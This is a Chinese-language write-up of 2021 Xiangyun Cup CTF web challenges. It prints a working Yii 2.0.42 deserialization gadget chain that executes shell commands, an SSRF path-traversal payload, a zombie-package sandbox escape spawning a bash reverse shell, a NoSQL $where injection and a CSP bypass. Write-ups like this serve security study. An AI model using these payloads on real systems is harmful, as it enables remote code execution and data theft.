祥云杯2021 web wp
六个题出了三个,太菜了太菜了。后续看了wp之后感觉唯一的确做不出来的是那个java,因为我真的不会java
ezyii
撤回我之前的好评,原来这个题真的是一个百度就能复制粘贴打的题,可惜我觉得链子不难就直接看了。原来这个题出出来就是复制粘贴的
yii 2.0.42 最新反序列化利用全集
简单看一下
反序列化入口,唯一的__destruct
namespace Codeception\Extension;
class RunProcess
{
protected $output;
protected $config = ['sleep' => 0];
protected static $events = [];
private $processes = [];
public function __destruct()
{
$this->stopProcess();
}
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
}
唯一的__call
namespace Faker;
class DefaultGenerator
{
protected $default;
public function __call($method, $attributes)
{
return $this->default;
}
}
唯一的__toString
namespace GuzzleHttp\Psr7;
class AppendStream
{
private $streams = [];
private $seekable = true;
public function __toString()
{
$this->rewind();
return "hahaha";
}
public function rewind()
{
$this->seek(0);
}
public function seek($offset, $whence = SEEK_SET)
{
if (!$this->seekable) {
throw new \RuntimeException('This AppendStream is not seekable');
} elseif ($whence !== SEEK_SET) {
throw new \RuntimeException('The AppendStream can only seek with SEEK_SET');
}
$this->pos = $this->current = 0;
foreach ($this->streams as $i => $stream) {
try {
$stream->rewind();
} catch (\Exception $e) {
throw new \RuntimeException('Unable to seek stream '
. $i . ' of the AppendStream', 0, $e);
}
}
}
}
中间类
namespace GuzzleHttp\Psr7;
class CachingStream
{
private $remoteStream;
private $skipReadBytes = 0;
public function rewind()
{
$this->seek(0);
}
public function seek($offset)
{
$byte = $offset;
$diff = $byte - $this->stream->getSize();
if ($diff > 0) {
while ($diff > 0 && !$this->remoteStream->eof()) {
$this->read($diff);
$diff = $byte - $this->stream->getSize();
}
} else {
$this->stream->seek($byte);
}
}
public function read($length)
{
$data = $this->stream->read($length);
$remaining = $length - strlen($data);
if ($remaining) {
$remoteData = $this->remoteStream->read(
$remaining + $this->skipReadBytes
);
if ($this->skipReadBytes) {
$len = strlen($remoteData);
$remoteData = substr($remoteData, $this->skipReadBytes);
$this->skipReadBytes = max(0, $this->skipReadBytes - $len);
}
$data .= $remoteData;
$this->stream->write($remoteData);
}
return $data;
}
}
触发call_user_func
namespace GuzzleHttp\Psr7;
class PumpStream
{
private $source;
private $size;
private $tellPos = 0;
private $metadata;
private $buffer;
public function getSize()
{
return $this->size;
}
public function read($length)
{
$data = $this->buffer->read($length);
$readLen = strlen($data);
$this->tellPos += $readLen;
$remaining = $length - $readLen;
if ($remaining) {
$this->pump($remaining);
$data .= $this->buffer->read($remaining);
$this->tellPos += strlen($data) - $readLen;
}
return $data;
}
private function pump($length)
{
if ($this->source) {
do {
$data = call_user_func($this->source, $length);
if ($data === false || $data === null) {
$this->source = null;
return;
}
$this->buffer->write($data);
$length -= strlen($data);
} while ($length > 0);
}
}
}
先进入口,进stopProcess,这里面调用了$process
的isRunning
和getCommandLine
方法,而process我们完全不知道是什么东西,所以这个调用自然是无法正常完成的,那么直接把这个process变成那个DefaultGenerator
类,直接调__call
。之前的那个if判断没什么触发点,但是getCommandLine
这里是把返回值和字符串拼接了的,那么让这个__call
魔法方法直接返回拥有__toString
的AppendStream
类,可以再触发一个__toString
,就这样把魔法方法都用完了
直接跟进AppendStream这个类,__toString
进rewind
进seek
,该函数中能调用其他stream的rewind
函数,这里还有两个Stream类,且只有CacheStream
有rewind函数,那么进它的rewind看看,同样进seek,其中调用的大多都是自己的函数,唯一一个调其他stream的是一个没什么用的getSize
函数,但是seek最后还调用了一个read
函数,且这个read函数一开头就调用了其他类的read函数。那么就只能进最后一个类了,最后这个类的read函数进pump
函数,pump函数里面有一句call_user_func
,算是抵达危险目的地了
但是如果仔细跟一下的话还是会发现,这里的第二个参数$length
一定是个数字,好像没有那种不要参数或者数字参数能执行什么命令的,因此还要突破
搜到一篇文章,里面有这么一段话
不同的是这一POC使用vendor/opis/closure/src/SerializableClosure.php来构造可利用的匿名函数,避开特定参数的构造,\Opis\Closure可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。
在中有__invoke()函数并且里面有call_user_func函数,当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。call_user_func_array($this->closure, func_get_args());
这意味着我们可以序列化一个匿名函数,然后交由上述的$closure($value, $this->data)调用,将会触发SerializableClosure.php的__invoke执行。
题目是给了这个SerializableClosure
类的,这个类允许我们序列化一个匿名函数(正常情况下是不能序列化匿名函数的),而这个类存在一个invoke方法,触发时调用如上代码,那么整个payload的最后一环就由一个我们可控的任意代码执行的匿名函数解决
payload(这里给了autoload就能直接写payload还能直接测试,挺方便的)
<?php
# https://www.anquanke.com/post/id/187819
//namespace Codeception\Extension {
//
// class RunProcess
// {
// // destruct
// protected $output;
// protected $config = ['sleep' => 0];
// protected static $events = [];
// private $processes = [];
//
// function __construct($processes, $output)
// {
// $this->processes = $processes;
// $this->output = $output;
// }
// }
//}
//
//namespace Faker {
//
// class DefaultGenerator
// {
// // call
// protected $default;
//
// function __construct($default)
// {
// $this->default = $default;
// }
// }
//}
//
//namespace GuzzleHttp\Psr7 {
//
//
// class AppendStream
// {
// // tostring
// private $streams = [];
// private $seekable = true;
//
// function __construct($streams)
// {
// $this->seekable = true;
// $this->streams = $streams;
// }
// }
//
//
// class CachingStream
// {
// private $remoteStream;
// private $skipReadBytes = 0;
// function __construct($stream, $remoteStream)
// {
// $this->stream = $stream;
// $this->remoteStream = $remoteStream;
// }
// }
//
//
// class PumpStream
// {
// private $source;
// private $size;
// private $tellPos;
// private $metadata;
// private $buffer;
// function __construct($source, $buffer)
// {
// $this->source = $source;
// $this->buffer = $buffer;
// $this->tellPos = 0;
// $this->size = -1;
// }
// }
//}
namespace {
include("closure/autoload.php");
function myloader($class)
{
require_once './class/' . (str_replace('\\', '/', $class) . '.php');
}
spl_autoload_register("myloader");
$code = "system('cat /flag.txt');";
$func = function () use ($code) {
eval($code);
};
$closure = new \Opis\Closure\SerializableClosure($func);
$rubbish = new \Faker\DefaultGenerator("data");
$pStream = new \GuzzleHttp\Psr7\PumpStream($closure, $rubbish);
$false = new \Faker\DefaultGenerator(false);
$cStream = new \GuzzleHttp\Psr7\CachingStream($pStream, $false);
$aStream = new \GuzzleHttp\Psr7\AppendStream([$cStream]);
$retaStream = new \Faker\DefaultGenerator($aStream);
$output = new \Faker\DefaultGenerator($closure);
$runProcess = new Codeception\Extension\RunProcess([$retaStream], $output);
echo base64_encode(serialize($runProcess));
}
secret of admin
给了源码,代码不多,可以从db中看到admin账户和密码,直接登录,但flag在superuser下,且代码
主要代码在index.ts下,这两个路由比较关键
router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
// even admin can't be trusted right ? :)
return res.render('admin', { error: 'Forbidden word 🤬'});
} else {
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => {
if (err) next(createError(500));
const checksum = await getCheckSum(filename);
await DB.Create('superuser', filename, checksum)
return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf 😥'})
}
}
});
// You can also add file logs here!
router.get('/api/files', async (req, res, next) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return next(createError(401));
}
let { username , filename, checksum } = req.query;
if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
try {
await DB.Create(username, filename, checksum)
return res.send('Done')
} catch (err) {
return res.send('Error!')
}
} else {
return res.send('Parameters error')
}
router.get('/api/files/:id', async (req, res) => {
let token = req.signedCookies['token']
if (token && token['username']) {
if (token.username == 'superuser') {
return res.send('Superuser is disabled now');
}
try {
let filename = await DB.getFile(token.username, req.params.id)
if (fs.existsSync(path.join(__dirname , "../files/", filename))){
return res.send(await readFile(path.join(__dirname , "../files/", filename)));
} else {
return res.send('No such file!');
}
} catch (err) {
return res.send('Error!');
}
} else {
return res.redirect('/');
}
});
/admin
路由可以自己输入内容,然后用HTML转PDF渲染一个PDF出来,不过有超级过滤,不给输标签。/api/files
路由必须本地访问,可以添加记录且所有参数均可控,而/api/files/:id
路由可以通过checkSum读文件。
但因为这里的checksum是加盐算出来的,所以在admin路由下生成的PDF其实是没法拿到checksum没法读到的。但是/api/files
是可以自己添加文件的,而/api/files/:id
读文件是直接拼接文件路径的,所以只要能本地访问/api/files路由添加一条flag记录,checksum可控再去/api/files/:id
下拿flag
那么ssrf打本地的任务就只能落在这个HTML转PDF功能上了,之前做了几个fireshellCTF的题目,他们就出过这个类型的题,因为HTML转PDF时,HTML里面的资源肯定是要加载进来的,比如图片,CSS样式之类的,那么要去加载这个资源就必定会请求这个资源,请求这个资源不就是ssrf吗?
而这里用了尖括号过滤不让加标签,但这个绕过非常简单,经典数组绕过,令输入是个数组就能搞定了,而渲染的时候完全不会受到数组这个数据类型的影响(其实他别的路由都检测了输入是不是string,而这里没检测,也挺明显的。。。)
输一个<img src="http://127.0.0.1:8888/api/files?username=admin&filename=aa/../flag&checksum=123"
然后就可以去/api/files/123
拿flag了
这里有一个小小坑,filename直接输flag的话,一打容器就爆炸,最后发现是数据库里面有这么一条
CREATE TABLE IF NOT EXISTS files (
username VARCHAR(255) NOT NULL,
filename VARCHAR(255) NOT NULL UNIQUE,
checksum VARCHAR(255) NOT NULL
);
filename是不能重复的,幸好他的文件名也是拼接的,所以直接写个垃圾目录跳出来就行
crawler_z
代码量大一点,不过关键部分也就一个文件,登录注册没什么看的,主要看user.js
大体功能就是用户可以输入一个网址,然后通过验证爬虫就会去爬那个网址
有一定的检验
if (url.protocol != "http:" && url.protocol != "https:") return false;
if (url.href.includes('oss-cn-beijing.ichunqiu.com') === false) return false;
这个域名包含有域名的之前添加一条解析记录就行,没域名的把路径里塞一个叫这个名字的文件也行
这是第一步,将输入添加到用户的personalBucket
,接下来需要域名满足如下条件,才会返回一个token
if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) {
res.redirect(`/user/verify?token=${authToken}`)
}
这个正则写的超级严,并且也没法绕了,但不这样似乎没法获得token
最后是verify路由,需要输入一个正确的token,就会把用户的personalBucket放到bucket里面,就可以让爬虫去访问了
router.get('/verify', async (req, res, next) => {
let { token } = req.query;
if (!token || typeof (token) !== "string") {
return res.send("Parameters error");
}
let user = await User.findByPk(req.session.userId);
const result = await Token.findOne({
token,
userId: req.session.userId,
valid: true
});
if (result) {
try {
await Token.update({
valid: false
}, {
where: { userId: req.session.userId }
});
await User.update({
bucket: user.personalBucket
}, {
where: { userId: req.session.userId }
});
user = await User.findByPk(req.session.userId);
return res.render('user', { user, message: "Successfully update your bucket from personal bucket!" });
} catch (err) {
next(createError(500));
}
} else {
user = await User.findByPk(req.session.userId);
return res.render('user', { user, message: "Failed to update, check your token carefully" })
}
})
理论上这里findOne得输入之前生成的那个正确的token才能过result,不知道为什么,在尝试的时候乱按了几下,也显示成功更新了(?)后来发现好像随便输入token都能正常更新?不知道是这里哪里出了问题
那么接下来就可以让爬虫去爬取我们指定的链接了。简单测试下来发现这个爬虫的实现并不是很好,接受重定向是很合理的,但是他支持重定向更改协议,直接改成file协议,就能读本地文件,读/flag容器直接爆炸,出题人又说要rce,试着读了一下/readflag,没想到还真有,那就只能想办法rce了,这个爬虫是一个叫zombie的库,18年就不更新了,然后队友找到了这篇文章
Code Injection Vulnerability in zombie Package
把payload改为反弹shell即可
var codeToExec = "var sync=require('child_process').spawnSync; " +
"var ls = sync('bash', ['-c', 'bash -i .......']); console.log(ls.output.toString());";
var exploit = "c='constructor';require=this[c][c]('return process')().mainModule.require;" + codeToExec;
var attackVector = "c='constructor';this[c][c](\"" + exploit + "\")()";
// end exploit
var express = require('express');
var app = express();
app.get('/test', function(req, res) {
res.send("<script>" + attackVector + "</script>");
});
app.listen(3000);
接下来的题都是我没做出来的了呜呜
PackageManager2021
这个题,有一个bot,有一个超强CSP,还有csrftoken,我一直认为这是一个超级xss或者csrf题,从而思考了一天。今天看神仙的wp,才知道原来是个SQL注入。。。
还是顺着思路来理一下
用的MongoDB,nosql理论上是很难有注入的,所以登录注册这些点确实也没有注入。登进来以后有几个操作,添加一个package,搜索package,认证授权,授权后可向admin提交链接
添加package的地方可以xss,但是存在无敌的csp
res.set('Content-Security-Policy', "default-src 'none';style-src 'self' 'sha256-GQNllb5OTXNDw4L6IIESVZXrXdsfSA9O8LeoDwmVQmc=';img-src 'self';form-action 'self';base-uri 'none';");
res.set('X-Content-Type-Options','nosniff');
无敌了,观察了一下csrf token,只在POST的时候会带上csrf token,且似乎只会通过GET访问页面才会更新,我抓一个包反复POST的话是不会显示csrf token错误的。
无敌的CSP让我完全无法xss,观察一下向bot提交链接的代码,bot是这样进行访问的page.goto(new URL(`/packages/${id}`, base).toString());
也是无敌操作,如果前面这个参数没拼/packages/的话,翻文档上倒是有说会优先用前面这个参数覆盖base,这里也限定死了,打不通
然后强力的队友告诉我csp可以这样绕,我完全不知道,是我太垃圾了<meta http-equiv="refresh" content="1;url=http://x.x.x.x/" >
可以打csrf了,csrf的话这里有csrf token,所以post操作都做不了,get能进行的操作只有查package和访问特定package,访问特定package不如直接用题目给的接口。。。而查比较像一个xs-leak的点,查询的结果不同返回的状态码不同,虽然不能越过同源策略获取查询的内容,但的确可以从状态码去猜测结果。
然而这里的查不能像正常xs-leak那样一位一位的去试,他是直接把输入去查数据库的,顶多能试着猜flag然后验证flag对不对,然而想猜出来flag还是不太现实,似乎csrf计划不通
这里csp还有一句style-src 'self'
,style是可以引入css样式表的,而css也可以进行一定程度的猜测和盲注,比如安洵杯的一道cssgame,但是那个需要外带数据,这里无敌csp数据是无法外带的,没有机会。xss在csp下想外带数据感觉一定要能执行js,直接通过跳转的形式去外带数据,css这种靠加载资源来外带数据的,必然被无敌csp干碎
至此,不会了鸭
赛后看wp,出题人可真能藏啊,写了个bot来迷惑我呜呜呜,这里是不能直接向bot去提交链接的,必须过一部认证,而认证的过程是这样的
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
try {
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
console.log(docs);
if (docs.length == 1) {
if (!(docs[0].isAdmin === true)) {
return res.render('auth', { error: 'Failed to auth' })
}
} else {
return res.render('auth', { error: 'No matching results' })
}
这里一反常态,平常都是用的比较合理的查询方案,不存在注入,而这里用了一个where语句,且无任何过滤,但我做题的时候仅仅是用了万能密码绕过了权限,然后就一直在研究怎么攻击bot了。。。完美被迷惑呜呜呜,这里可以直接SQL注入拿到admin的密码,登上去看flag。。。
可以直接用this.password[i]=='x'
这种下标访问的形式一位一位的拿到admin密码,nosql注入的语法和正常的注入不太一样,这里我还没怎么了解过
安全监测
出题人铁傻逼
喜欢藏,除了恶心人还能干什么
不想写wp,卡住了的话就只能是没扫目录没找到还藏了一个admin目录
可能不扫目录是我不够熟练吧,毕竟出了一百多个队的简单题
层层穿透
java题,给了源码,但是似乎是个内网的服务,题目打开的话是一个apache flink dashboard
,没见过,但是有一个上传jar功能,环境共用,看到一堆rce.jar,并且还显示入口类是metasploit,我直接百度,显示上传jar这里能直接传一个类执行rce,我也直接上kali整了一个,reverse_tcp理论上来说nc就能接,但是接到了就显示内存崩了,没执行上命令,还专门整了个frp把内网映射到公网。。。还整了个虚拟机映射,再把虚拟机端口映射到物理机,用msf自带的handler接,也连不上。可能还不如自己写一个runtime exec弹shell呢。。。。
不过就算连上了我看代码后半段是个fastjson,属于我不会的领域,也就算了。好菜呜呜
这个题本来不置可否,现在再给一个差评,赛时找队里的java大师他在给老板打工没空,赛后叫他带带我之后他直接告诉我这个题是抄他出过的一个题。害,要是赛时他在场就直接秒了。。。